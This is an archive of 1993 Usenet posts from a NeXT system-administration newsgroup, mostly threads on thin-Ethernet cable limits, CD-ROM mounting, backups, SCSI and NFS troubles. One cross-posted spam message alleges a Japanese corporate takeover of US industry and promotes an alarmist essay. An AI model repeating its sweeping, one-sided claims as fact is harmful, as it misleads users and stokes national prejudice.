tsinext mach: called from pc 10f90ff6 fp 10fa6f9c 4-args 10136720 10538900 00ff9b01 00000000 Mar 22 14:45:31 tsinext mach: called from pc 10f92204 fp 10fa6fb4 4-args 00000000 10f98860 ff00ff04 10f98888 Mar 22 14:45:31 tsinext mach: called from pc 10f90596 fp 10fa6fe8 4-args 10f98860 00000000 0405a056 000010f9 Of course, pid=0 is the kernel. If I go into single user mode and do "sh /etc/rc" it usually gives me a panic with the following: network_init netinfo lookupd Problem obtaining NTP initialization data, aborting. Unable to set time Problem was: Communication failure: ntpd Any ideas? Thanks in advance, Charlie -- NeXTMail to: | ...to confer, converse, and charlie@technosci.com | otherwise hobnob with my | brother wizards.
Newsgroups: comp.sys.next.sysadmin From: mslade@netcom.com (Michael Slade) Subject: Re: Thin Net Length Limits: Real or Imaginary? Message-ID: <msladeC4B6M7.7v3@netcom.com> Organization: Netcom - Online Communication Services (408 241-9760 guest) References: <1993Mar21.151602.228@stone.com> <1993Mar22.062036.5995@csus.edu> <1993Mar22.152453.19783@bernina.ethz.ch> Date: Mon, 22 Mar 1993 21:06:07 GMT marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes: >In article <1993Mar22.062036.5995@csus.edu> eps@cs.sfsu.edu writes: >>Are the limits real? In a word: yes. But there isn't some >>infinitely steep boundary between working and nonworking. You'll >>see erratic behavior long before it craps out completely. >>Sometimes things will work perfectly, sometimes the network will >>be "slow," sometimes particular nodes will have trouble >>communicating--but the others seem OK, sometimes you'll get NFS >>complaints, etc. >> >> -=EPS=- >There were ridiculously long cable lengths in a student lab here. The >diskless clients never noticed anything special. But if a client was >turned off, some other clients rebooted at the same time. A few months >ago, the cable length was reduced to the shortest possible path and >the problems went away. >But the cable length limit is primarily to make sure that collisions >can be detected reliably (it's the distance the first bit of the >shortest allowed packet may travel when the last bit is being sent). >-Marcel I also agree - when we expanded our thin net to cover an office on another floor, performance on nodes near the end dragged to 0 at times. We thought that we were within length specs and then used a network analysis tool that showed us we were at 900 feet. When we broke the net in half by putting a server in the middle that acted as a bridge the problems went away. good luck, Michael Slade, Datavision Technologies, mslade@netcom.com
From: brunkhorst@mayo.edu (Geoff Brunkhorst) Newsgroups: comp.sys.next.sysadmin Subject: Re: Thin Net Length Limits: Real or Imaginary? Message-ID: <1993Mar22.202849.20249@bmw.mayo.edu> Date: 22 Mar 93 20:28:49 GMT Article-I.D.: bmw.1993Mar22.202849.20249 References: <1993Mar22.152453.19783@bernina.ethz.ch> Sender: newsman@bmw.mayo.edu (Usenet News Administrator) Organization: Mayo Foundation, Rochester MN. Campus In article <1993Mar22.152453.19783@bernina.ethz.ch> marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes: > In article <1993Mar22.062036.5995@csus.edu> eps@cs.sfsu.edu writes: > >Are the limits real? In a word: yes. But there isn't some > > [...] > > -=EPS=- > [...] > But the cable length limit is primarily to make sure that collisions > can be detected reliably (it's the distance the first bit of the > shortest allowed packet may travel when the last bit is being sent). > > -Marcel yes to EPS, no to Marcel. Actually, the spec is very complex. The cable length limitations is primarily due to attenuation and other electrical factors, and are different on every medium. Each media has very concise requirements of implementation, to make sure that in the worst case, the physical protocol will deliver as promised. EPS is right, given you use 'in-spec' cables and equipment. If you skimp on the quality, then the 'reality' of the limits may actually shrink. Ethernet is not forgiving (if you introduce a .1 probability of noise on the wire, your effective throughput will likely be .9*10mbps). It's just that most of the protocols and uses above on the protocol stack are somewhat forgiving, and you won't know you have a problem until it's too late (read: everyone depends on the network ;-). As to the posters suggestion the phyical distance is defined by the packet size times propagation speed... My impression of the rules is that this defines the max distance between 2 devices without any MAC-2 (bridges) or higher (routers and above) devices inbetween. Specifically, this is how 10Base5 and the 2 repeater rule interplay to allow you the 'max' distance between nodes: 1500m = (3 500m 10base5 strands with two repeaters connecting them)~= (.7'c')*(64bytes*8bits/byte/10megabit/sec) note: the 10mbs/sec is the rough approximation of the data in Winchester encoding running at 22mhz (the actual wire frequency). note2 : repeaters are sloppy... the actual spec allows for something like 10microsec delay per repeater. note3 : yes, this is all from long-term memory, and not copied from my notes ;-) So you see, the 10base5 spec defines a max single cable length of 500m, yet defines the maximum distance between devices at 1500m, given you use in-spec repeaters. - Geoff ----------------------------------------------------------------- Geoffrey Brunkhorst brunkhorst@Mayo.edu Research Computing Facility, Guggenheim 10 (507) 284-1805 Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.sysadmin From: rlabelle@lamar.colostate.edu Subject: can't read Rock Ridge CD Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> Date: Mon, 22 Mar 1993 22:32:36 GMT Organization: Colorado State University, Fort Collins, CO 80523 Keywords: CD RockRidge Hello, I've got a strange cd problem, my nsc running 3.0 won't open the BANG rockridge format CD in the workspace...it instead mounts the CD as a ISO 9660. Another symptom is when I try to open a file on the NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine as well as the NeXT EDU CD. Do I have a corrupt or missing file somewhere ? The CD player is a NeXT/Sony. Thanks in advance for any help and suggestions. Rob LaBelle
Newsgroups: comp.sys.next.sysadmin From: mark@cyantic.com (Mark T. Dornfeld) Subject: Re: Thin Net Length Limits: Real or Imaginary? Organization: CYANTIC Systems Date: Mon, 22 Mar 1993 13:31:18 GMT Message-ID: <1993Mar22.133118.9471@cyantic.com> Keywords: Ethernet References: <1993Mar21.151602.228@stone.com> In article <1993Mar21.151602.228@stone.com> andrew@stone.com writes: >I am interested in discerning what the actual length limit of a "thin >wire" ethernet LAN is - I've heard various figures: 600', 1500'. The spec is 185 meters for any thin wire segment. This can be extended with repeaters, but there are usually better ways to design the network in the first place. Also, there is a limit of 29 taps or 'T-connectors' that may be put on any one segment. These limits are real and network performance will most likely suffer if you exceed them. > >If you have hard data on any installation which approaches these limits, >I'd be interested in hearing how the performance is, or what additional >hardware you have added to deal with slow packets down a long run. I am salvaging a network right now for one of our clients who was having horrendous problems with a thin-wire network that was completely undesigned. Collision levels are unacceptably high and debugging a network problem is nearly impossible with a segment that is too long or over-tapped. The solution is to throw out the ethernet bus topology in favour of a star by using a thin-wire concentrator. Many vendors make them and they are very useful especially when planning a 10BASET network for the future. We design large networks for our clients and have seen these problems again and again, often with Apple users who think that networking TCP/IP is like AppleTalk. You should see the money they throw at routers and PC's and forget that you need a highway before you need traffic control. -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.palmtops,comp.sys.nsc.32k,comp.sys.novell,comp.sys.northstar,comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.bugs From: buzy@quads.uchicago.edu (Len Buzyna) Subject: DidYouKnow... Message-ID: <1993Mar23.050634.6576@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Distribution: usa Date: Tue, 23 Mar 1993 05:06:34 GMT Today Japanese companies own the 7/11 store chain, Dunlop, Universal Pictures, Columbia Pictures, Loews Theaters, MCA Home Entertainment, Tri-Star Pictures, CBS Records, Columbia Records, Spencers stores, Ciniplex Odeon (a big part), Firestone Tires and many many more very large US companies while foreigners are prevented from owning any important Japanese concerns. Ordinary Japanese are kind wonderful people, but what their companies and government are doing is racist and wrong. To find out more about this (and get a more complete list of the above), read (JAPANYES) "Does America Say Yes To Japan?";Leclerc 1992,93 which is available on INTERNET. (most recent edition is v031993). This thoughtfully written and important article has been circulating widely in many of America's biggest corporations & universities like IBM & Harvard. When you read it (it takes about 30 minutes), you'll see why. The essay provides a frightening yet fascinating detailed, referenced overview of the Japanese industrial machine at work and how Japan practices 'business is war' strategies to target and take over strategic critical U.S. industries like high technology, popular media and heavy industry as well as influence the decisions of the US government in favor of Japan. It is a very moving piece and is filled with many verifiable and disturbing examples. You can get JAPANYES 1 of 3 ways: 1)FTP to monu6.cc.monash.edu.au it's in directory: pub/nihongo as: JAPANYES 2)The article has been posted in its entirety (in three sections however) in the misc.test & soc.culture.usa & sci.econ newsgroups. Search on the author 'buzy' or the title 'article' to find the posts. 3)Email a request for JAPANYES to ar12@midway.uchicago.edu He will email you a copy.
From: andrew@stone.com (Andrew Stone) Newsgroups: comp.sys.next.sysadmin Subject: Re: Thin Net Length Limits: Real or Imaginary? SUMMARY Message-ID: <1993Mar23.021050.542@stone.com> Date: 23 Mar 93 02:10:50 GMT Article-I.D.: stone.1993Mar23.021050.542 References: <msladeC4B6M7.7v3@netcom.com> Sender: andrew@stone.com Organization: Stone Design Corp In article <1993Mar21.151602.228@stone.com> andrew@stone.com (Andrew Stone) writes: >I am interested in discerning what the actual length limit of a "thin >wire" ethernet LAN is - I've heard various figures: 600', 1500'. Here is a summary of the responses from the net, thanks for the instant info. Basically, the limits are real; and degradation is guaranteed when the envelope is pushed. Using 10baseT cable, and repeaters, further distances can be accomplished. andrew ======================================================================== From: wma.com!mdadgar (Mark Dadgar) REAL. Almost all of our thin Ethernet runs push the max of 620 feet. DO NOT exceed this length - we've had no end of problems with it (in fact, we're working on a transition to 10B-T). Our problems have not been ones of slow packets. Instead, we'll find that one machine is fine and the rest on the segment have problems (NFS timouts, etc.). All of our runs come out of 3Com Buffered Repeaters. If you need more comprehensive info, or have specific question, let me know. I'd be glad to help. ===================================================================== From: cco.caltech.edu!madler (Mark Adler) The documented limits are real--they are based on physics, not marketing. You should be careful exceeding them, since the net will appear to still work, but in fact the performance will be degraded. You can buy repeater hardware to connect two nets somewhat reasonably (around $500 to $1000 range). And as hard as it may be to believe, the limits are not for the purpose of selling such hardware. I think the thin limit used to be 150 m, but has been extended somewhat (I forget how far) since there are better drivers now- adays. ==================================================================== From: <math.tamu.edu!Steve.Johnson> I don't have the spec in front of me, but 600' is the limit. Unfortunately, we have a couple of lines over 1000' in our building. We have a Cabletron ST500 repeater vampired into the backbone. We see a somewhat elevated collision rate, but performance isn't too bad. We're working with our networking group to rewire parts of the building to bring all segments into spec. ===================================================================== From: John Soward <inslab.uky.edu!soward> Well, we haven't run actual thin wire more than about 400' but we have "thick" (coax, but not the multi-wire transciever cable" ) running from the 11th floor of a bldg, into the basement over about 200' then up to the 3rd floor of that bldg --- and these are big old bldgs with 10 and 12' ceilings... Other people have told me that they got bad performance when they tried an approx 800' run using thinnet but I think thinwire is more easily disturbed by various things than the thick wire -- or transciver cable... Of course one could always but in a bridge/router mid-way...the PC-Route PD router stuff is pretty good and can be put up on a little 386 and give good performance... ===================================================================== From: Paul S. Sears <tree.egr.uh.edu!sears> I would suggest that you keep the segment as short as possible. From my understanding, 1500' is the maximum per thin wire segment. Our set up is various thin segments going to concentrators that connect to our building/campus backbone. If it is an option I would strongly recommend going to 10baseT. The hubs are becoming less expensive and if one port goes out, it doesn't bring down your entire net. If you go with thinwire, there is can be a maximum of 30 devices per segment... We have had more sucess with shorter runs than longer ones, but our main problem is with volume of traffic, not with speed.... ===================================================================== From: "Todd A Green" <lothario.cica.indiana.edu!tagreen> I'll give you hard data :) My subnet is so far out of spec it isn't funny. I don't even want to begin to try to count the number of T-connecters we have, but it is far more than the limit. We have 56 machines with IP addresses alone (on the same physical cable), if that gives you any idea. As far as cable length goes, last time I put a cable tester on it, it was around 1200'. Here is some data collected via spray: SPARC 10 -> SGI Crimson sending 1162 packets of lnth 86 to antares ... in 10.4 seconds elapsed time, 293 packets (25.22%) dropped Sent: 111 packets/sec, 9.4K bytes/sec Rcvd: 83 packets/sec, 7.0K bytes/sec Crimson -> NeXT '040 Cube sending 1162 packets of lnth 86 to lothario ... 951 packets (81.842%) dropped by lothario 20 packets/sec, 1753 bytes/sec Crimson -> SPARC 10 sending 1162 packets of lnth 86 to rainier ... 384 packets (33.046%) dropped by rainier 2246 packets/sec, 193188 bytes/sec Draw your own conclusions. I've been pushing to move us over to 10BaseT, and finally got the money approved (thank goodness). =========================================================== From: Pierce Cantrell <cantrell.tamu.edu!pierce> We have lots of DEC and Cabletron thinwire repeaters. The University got burned several years ago with some thinwire repeaters that would shut down the backbone and all of the repeated ports if there was an open circuit on any of the thinwire segments, so I have always bought name brand stuff. (The DEC and Cabletron repeaters only shut down the one segment with problems). The last inexpensive thinwire repeater I bought was a DECrepeater 90C (DECMR-AA/CGF) which lists for $1390 (The University gets a 35% discount). This is a standalone unit that has a power supply and six segments -- they also make a version that plugs into their hun. You can order from DEC Direct (800) 344 4825. AND: The specifications for thinwire allow a single segment to be a maximum of 185 meters (606 ft) long. You can have a maximum of 30 stations on a single segment. I have run segments as long as 300 meters accidentally -- by adding stations to a segment over the years and not measuring the length. At this distance, I started to have trouble with two PC's that were at the end of the segment. The symptoms were extremely long connect times to the Novell server, ftp's of files that were more than one ethernet packet hung most of the time, and telnet was sometimes flaky. My NeXT that was on this same segment and the rest of the Suns did not seem to have any problems. Since it took me several days to track this down, because I assumed it was a PC configuration problem, I have been more careful the last few years. I use a TDR to measure the length of all my segments, have a map with all the segments marked, etc. (I also caught some flak from my colleagues as networking is supposed to be my research area) A relatively cheap solution is to purchase a thinwire repeater (~$1K) that will have six segments or so. You can put the repeater in a central location and drive 185 meters from it in all directions. There are many other ways to extend an Ethernet. If you will tell me your problem, I would be happy to suggest some things. I have a thickwire backbone which is connected between two buildings with fiber optic repeaters, three thinwire repeaters, a router that connects into the campus backbone, and a couple of back end networks to labs with lots of machines. ============================================================== From: eps@futon.SFSU.EDU (Eric P. Scott) For "thin wire" (10base2) it's 185m (600'). Maximum of 30 breaks (each tee or barrel counts). The minimum separation between nodes is pretty small (I think it's .5m, but don't quote me on that). NO cable is permissible between tees and tranceivers. Some vendors (e.g. 3Com) build hardware that can exceed the standard limits, but only if you use their stuff exclusively. Repeaters, bridges, routers, etc. "legally" allow you to exceed the limits of a single cable. 10base5 ("thick wire") generally has higher limits and 10baseT ("UTP") lower limits. If you want The Whole Story, ask on comp.dcom.lans.ethernet. Are the limits real? In a word: yes. But there isn't some infinitely steep boundary between working and nonworking. You'll see erratic behavior long before it craps out completely. Sometimes things will work perfectly, sometimes the network will be "slow," sometimes particular nodes will have trouble communicating--but the others seem OK, sometimes you'll get NFS complaints, etc. -=EPS=- -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
From: rabjab@golem.ucsd.edu (Jeff Bytof) Newsgroups: comp.sys.next.sysadmin Subject: swapfile mystery Date: Tue, 23 Mar 1993 08:12:28 GMT Organization: sio Message-ID: <rabjab.72.732874348@golem.ucsd.edu> After running a program, the swapfile size goes from 21M to over 40M, and stays there after the program exits. Why does it not reduce to the low water mark? How can I reduce it without having to reboot? -rabjab
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: can't read Rock Ridge CD Message-ID: <1993Mar23.050739.4943@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> Distribution: na Date: Tue, 23 Mar 1993 05:07:39 GMT In article <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> rlabelle@lamar.colostate.edu writes: > Hello, > > I've got a strange cd problem, my nsc running 3.0 won't > open the BANG rockridge format CD in the workspace...it instead mounts the > CD as a ISO 9660. Another symptom is when I try to open a file on the > NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine > as well as the NeXT EDU CD. Do I have a corrupt or missing file > somewhere ? The CD player is a NeXT/Sony. If you find that it doesn't work on another NeXT, send it back, and we'll replace it. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) Subject: SoftPC/Serial Port Question Message-ID: <1993Mar22.192844.4090@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Mon, 22 Mar 1993 19:28:44 GMT We installed a PC-based asynchronous communications program in the SoftPC environment, and used it successfully for a couple of days. However, it has stopped working on the comm port we'd originally selected and configured. SoftPC generates the following message (and no longer allows us to use /dev/ttyb): "Device used by Comms adapter could not be accessed. Check permissions. Comz = /dev/ttyb" What does this message really mean? As far as I can tell, the permissions seem fine (at least, they are no different than the permissions on /dev/ttya, which we are now using for the serial port). Even though we've got things working on the second serial port, we would like to know why the first port is not available and make it available for another application. Any help appreciated, Phil -- G. Philippe Menos gpmenos@firestone.princeton.edu [NeXTmail OK.] Systems Administrator, Princeton University Libraries voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: can't read Rock Ridge CD Message-ID: <1993Mar23.120937.17389@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> <1993Mar23.050739.4943@bluerose.com> Distribution: na Date: Tue, 23 Mar 93 12:09:37 GMT >rlabelle@lamar.colostate.edu writes: >> I've got a strange cd problem, my nsc running 3.0 won't >> open the BANG rockridge format CD in the workspace...it instead mounts >the >> CD as a ISO 9660. Another symptom is when I try to open a file on the >> NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine >> as well as the NeXT EDU CD. Do I have a corrupt or missing file >> somewhere ? The CD player is a NeXT/Sony. Can't help you much, but both the BaNG and NeXT 3rd party CDs opened without difficulty for me; my drive is also a NeXT/Sony. -- [Jess Anderson <> Division of Information Technology, University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.sys.next.sysadmin From: kgnome@cs.concordia.ca (MATIS stephane) Subject: Backing up to floppies and Old News ? Message-ID: <C4CGMv.CEs@newsflash.concordia.ca> Sender: usenet@newsflash.concordia.ca (USENET News System) Organization: Computer Science, Concordia University, Montreal, Quebec Date: Tue, 23 Mar 1993 13:40:07 GMT I decided to squeeze two questions into this post. 1. What can I use to back-up to floppies *selected* files and directories automatically ? I have tried to compile GNU tar1.11 and it didn't. I don't like cpio or dump, as each has limitations. What's left ? Or better as this, what is there ? I need multi-volume compressed if all possible. 2. Does any company have Internet news avialable on CD-ROM ? 91,92,93 first quarter ? Best would be something pre-indexed for Librarian and updated every month/quarter. thanks all +---------------------------------+ ___ ___ ___ | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! | "It Just Works..." - Steve Jobs | \___/ +---------------------------------+ Wolfnet Operative & NeXThead
Newsgroups: comp.sys.next.sysadmin From: ijeff@hank.carleton.ca (Ian Jefferson) Subject: Re: can't read Rock Ridge CD Message-ID: <ijeff.732894572@cunews> Keywords: CD RockRidge Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton University References: <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> Date: Tue, 23 Mar 1993 13:49:32 GMT In <Mar22.223236.30189@yuma.ACNS.ColoState.EDU> rlabelle@lamar.colostate.edu writes: >Hello, >I've got a strange cd problem, my nsc running 3.0 won't >open the BANG rockridge format CD in the workspace...it instead mounts the >CD as a ISO 9660. Another symptom is when I try to open a file on the >NeXT 3rd party CD I cause a system panic ! The NS3.0 cd works fine >as well as the NeXT EDU CD. Do I have a corrupt or missing file >somewhere ? The CD player is a NeXT/Sony. >Thanks in advance for any help and suggestions. >Rob LaBelle Double check the cable scsi id and termination on all of the things on the SCSI bus. Now check /usr/filesystems/CDROM.fs it should contain a file called CDROM.util permissions rwsr-xr-x root wheel. This program runs as root that's what the s (setuid) bit does in the permissions. If these files are missing or corrupt then copy them back from your NeXT CD and check again. You have to use a shell to do this. Good luck. -- --------------------------------------------------------------------------- Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please! ijeff@computeractive.on.ca NeXT mail please!
Newsgroups: comp.sys.next.sysadmin From: erickson@oak.mcs.gvsu.edu (Carl Erickson) Subject: Canon part number for NeXT color printer? Message-ID: <1993Mar23.140732.19923@mcs.gvsu.edu> Sender: erickson@mcs.gvsu.edu (Carl Erickson) Organization: Grand Valley State University Date: Tue, 23 Mar 1993 14:07:32 GMT Can anyone share with me a Canon part number or name for the ink cartridges that the NeXT color PS printer uses? Thanks, Carl -- Carl Erickson, Asst Professor | Computer Science Dept Grand Valley State University | Allendale MI 49401 erickson@oak.mcs.gvsu.edu | (616) 895-2309
Newsgroups: comp.sys.next.sysadmin From: cbliek@dcc.uchile.cl (Christian Bliek) Subject: Sun networking problems Sender: usenet@dcc.uchile.cl (Network News) Message-ID: <1993Mar23.153832.33878@dcc.uchile.cl> Date: Tue, 23 Mar 1993 15:38:32 GMT Organization: Universidad de Chile, Depto. de Ciencias de la Computacion Keywords: sun,network,netinfo,nfs,printing We have a single NeXT connected to a network of Suns. The connection was defined using hostmanager.app (using local domain only, readable only by local net, etc). Since the Sun network (while running yp) has a separate nameserver, a /etc/resolv.conf file was added. I do have a couple of questions regarding this setup: DEFINING HOSTS IN THE NETINFO DATABASE: This configuration seems to work without having to define all the hosts in the netinfo database. Why should I bother with defining them and keeping them up to date? The only two hosts that are in the netinfo database are localhost and broadcasthost ... but the internet address of broadcasthost for example, still is the default (i.e. 255.255.255.255). While using hostmanager we have defined a totally different address, is this normal?? PRINTMANAGER PROTOCOLS: The two printers on the sun network have been defined in the netinfo database and printing works. However, using the printmanager to examine the queues is very, very slow ... which is not surprising if you look at the network packets (amberes is the NeXT machine, huemul the Sun machine that runs the printer): % etherfind -i le1 host amberes icmp type lnth proto source destination src port dst port 80 udp amberes dcc.uchile.cl 3317 domain 170 udp amberes huemul 7657 7657 70 icmp huemul amberes dst unreachable 170 udp amberes huemul 7657 7657 70 icmp huemul amberes dst unreachable 170 udp amberes huemul 7657 7657 70 icmp huemul amberes dst unreachable 60 tcp amberes huemul 1023 printer 60 tcp huemul amberes printer 1023 60 tcp amberes huemul 1023 printer 60 tcp amberes huemul 1023 printer 65 tcp huemul amberes printer 1023 60 tcp huemul amberes printer 1023 60 tcp amberes huemul 1023 printer 60 tcp amberes huemul 1023 printer 60 tcp huemul amberes printer 1023 is there any way that the first 3 retries to port 7657 can be avoided (what is port 7657 anyway?) ... note that this situation does not change even when the host (huemul) is included in the netinfo database. NFS HANGUP: A number of directories are mounted with the option `retry interruptably', when the NFS server is down or slow ... one can however not even interrupt an ls in a directory to be mounted!? Similarly, at login the workspace file viewer doesn't appear in these cases ... anything that can be done about this? Thanks for your help, Christian Bliek (cbliek@dcc.uchile.cl) Ps. There appears to be nothing on this in the FAQ's, NeXTanswers, ...
Newsgroups: comp.sys.next.sysadmin From: rlabelle@lamar.colostate.edu Subject: Re: can't read Rock Ridge CD Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Mar23.162638.83156@yuma.ACNS.ColoState.EDU> Date: Tue, 23 Mar 1993 16:26:38 GMT Organization: Colorado State University, Fort Collins, CO 80523 Keywords: CD RockRidge Thanks for all the suggestions on how to solve this problem. Ian hit the nail on the head, the CDROM.util file did not have the setuid bit set. The bang cd works fine now. Rob LaBelle |> Double check the cable scsi id and termination on all of the things on |> the SCSI bus. |> |> Now check /usr/filesystems/CDROM.fs it should contain a file |> called CDROM.util permissions rwsr-xr-x root wheel. This program |> runs as root that's what the s (setuid) bit does in the permissions. |> |> If these files are missing or corrupt then copy them back from your |> NeXT CD and check again. You have to use a shell to do this. |> |> Good luck. |> |> |> -- |> -------------------------------------------------------------------------- - |> Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please! |> ijeff@computeractive.on.ca NeXT mail please!
Newsgroups: comp.sys.next.sysadmin From: wagner!beckers (Becki Kain) Subject: what backup are you using? Message-ID: <1993Mar23.190620.4002@imagine.com> Sender: beckers@imagine.com Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA Date: Tue, 23 Mar 1993 19:06:20 GMT Hello Other Next Sys Ads; I need some information about doing backups - mainly, what are other people using? I'm working on gnutar1.10 to a dec 8mm tape drive. Any other ideas? Also, ns486 on a DELL 450de2/dgx is working well here, although my floppy drive wants to initialize all diskettes, no matter what's on them. Installation initially was easy, as was the Developer release. Came onto the network without a hitch. thanks beckers -- Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com NeXTmail welcome "are you hip to the flipside of censorship?" pwei
Newsgroups: comp.sys.next.sysadmin From: 092306@hyperion.lanl.gov (Jerry Weber IS-5) Subject: Remote accessing an Optical disk Message-ID: <1993Mar23.194815.14196@newshost.lanl.gov> Keywords: optical, mount, OD, remote Sender: news@newshost.lanl.gov Organization: Los Alamos National Laboratory Date: Tue, 23 Mar 1993 19:48:15 GMT I'am trying to remotely access an optical drive from NeXT to NeXT. I have the disk inserted and it is seen from "df". I exported the mounted disk and I also know that mountd and yp are running on both machines. I'am even able to execute the mount on the remote NeXT, yet I can-NOT view the files on the disk. Anyone see what I'am missing? -------------------------------------------------------------- Jerry Weber Information Services Division Los Alamos National Laboratory IS-5 MS D417 (505)667-7410 FAX(505)665-5234 Los Alamos, NM 87545 jerry.weber@lanl.gov --------------------------------------------------------------
From: hiebm@acf3.nyu.edu (Michael Hieb) Newsgroups: comp.sys.next.sysadmin Subject: Using remotefileserver with ATT machines and Next Date: 23 Mar 1993 22:07:40 GMT Organization: New York University Message-ID: <1oo1nc$rm6@calvin.NYU.EDU> Summary: How to use remotefileserver mounts with ATT nmachines Keywords: ATT remotefileserver Does anyone know of how to use remotefileserver over a LAN with ATT machines. As there exists the service listed in NetInfoServer, it suggests the possibility. Any info would be helpful. If necessary to compile ATT remotefileserver on the Next does anyone know of source location, experience of others would be useful. Michael
From: brian@systemix.com (Brian Cuthie) Newsgroups: comp.sys.next.sysadmin Subject: Re: what backup are you using? Date: 23 Mar 1993 19:20:07 -0500 Organization: Systemix Software, Inc. Message-ID: <1oo9fnINNdgm@systemix.com> References: <1993Mar23.190620.4002@imagine.com> In article <1993Mar23.190620.4002@imagine.com> wagner!beckers (Becki Kain) writes: >Hello Other Next Sys Ads; > >I need some information about doing backups - mainly, what are other >people using? I'm working on gnutar1.10 to a dec 8mm tape drive. Any >other ideas? > I'm using SafetyNet-Professional with an Archive Python DAT drive :-) Brian -- Brian Cuthie Voice: (410) 290-8813 Systemix Software, Inc. Email: brian@systemix.com
From: bdm@agni.ss.uci.edu (Brian McElree) Subject: SCSI Problem Message-ID: <2BAFABE7.17415@news.service.uci.edu> Newsgroups: comp.sys.next.sysadmin Date: 24 Mar 93 00:31:35 GMT I have an old Sun shoebox with a 141 MB disk that I have been using as an external disk for my 040 station (400 MB internal). It has a SCSI Id of 2 and is mount at boot through fstab. Things work fine until I add another SCSI device (scanner, CD) to the chain. Then I get the following error message at boot: EMULEX MD21/s2 ESDI Rev as sd1 at sc0 target 2 lun 0 Disk label <whatever> Disk Capacity <whatever> EMULEX MD21/s2 ESDI Rev as sd2 at sc0 target 2 lun 1 Waiting for drive to come ready ............. sd2 (2,1): sense key 0x2; additional sense code: 0x5 SCSI Block in error =0 (no valid label) Target 2: NOT READY; retry 1 Target 2: NOT READY; retry 2 etc It continues to retry Target 2, consuming may cpu cycles. The first entry is correct, at least it is what is shown when the drive is used in isolation. The second entry is a mystery to me. To the uninformed, it appears as if the NeXT is trying to mount a second disk at the same SCSI Target (viz. sd2 at target 2)! Strange thing is that all of the SCSI devices, including the drive itself function fine. The drive, CD-ROM, and scanner all work individually; the CD-ROM and scanner work as a pair; but if any thing is paired with the disk drive, the same pattern of errors occur. The devices can be rearranged, with no effect. I believe that things are proper terminated. I'm stumped. Any suggestion would be greatly appreciated. Please respond my e-mail to bdm@aris.ss.uci.edu Thanks, Brian McElree
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Use _BOTH_ network ports at once? Message-ID: <1993Mar23.173839.65198@cc.usu.edu> Date: 23 Mar 93 17:38:38 MDT Organization: Utah State University I have my NeXT computers networked along with a bunch of other IBM PC computers on a 10BaseT network. I now find myself needing to be able to connect some computers on a 10Base2 network into my existing network. Is it possible to use BOTH network ports on the NeXT? So I have my existing network on the 10BaseT port, can I then plug in the 10Base2 network into the open port on the NeXT and have those systems available to the NeXT? (The computers on the 10Base2 network are a Mac & a Unix box (a RIP)). This would be great if it will really work... If it will, do I have to do anything special to make the NeXT file system available to the 10Base2 network, or does it "just work"? If it won't, does anyone have any recomendations on how this could be accomplished? Do I need a gateway to do this? Any help or recommendations would be greatly appreciated. Thanks a lot. John Zollinger slv0y@cc.usu.edu (not NeXTMail capable)
Control: cancel <1993Mar23.050634.6576@midway.uchicago.edu> Newsgroups: comp.sys.palmtops,comp.sys.nsc.32k,comp.sys.novell,comp.sys.northstar,comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.bugs From: news@wakinyan.uchicago.edu (Newsmistress) Subject: cmsg cancel <1993Mar23.050634.6576@midway.uchicago.edu> Message-ID: <1993Mar24.030225.6832@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations References: <1993Mar23.050634.6576@midway.uchicago.edu> Distribution: usa Date: Wed, 24 Mar 1993 03:02:25 GMT <1993Mar23.050634.6576@midway.uchicago.edu> was cancelled from within trn.
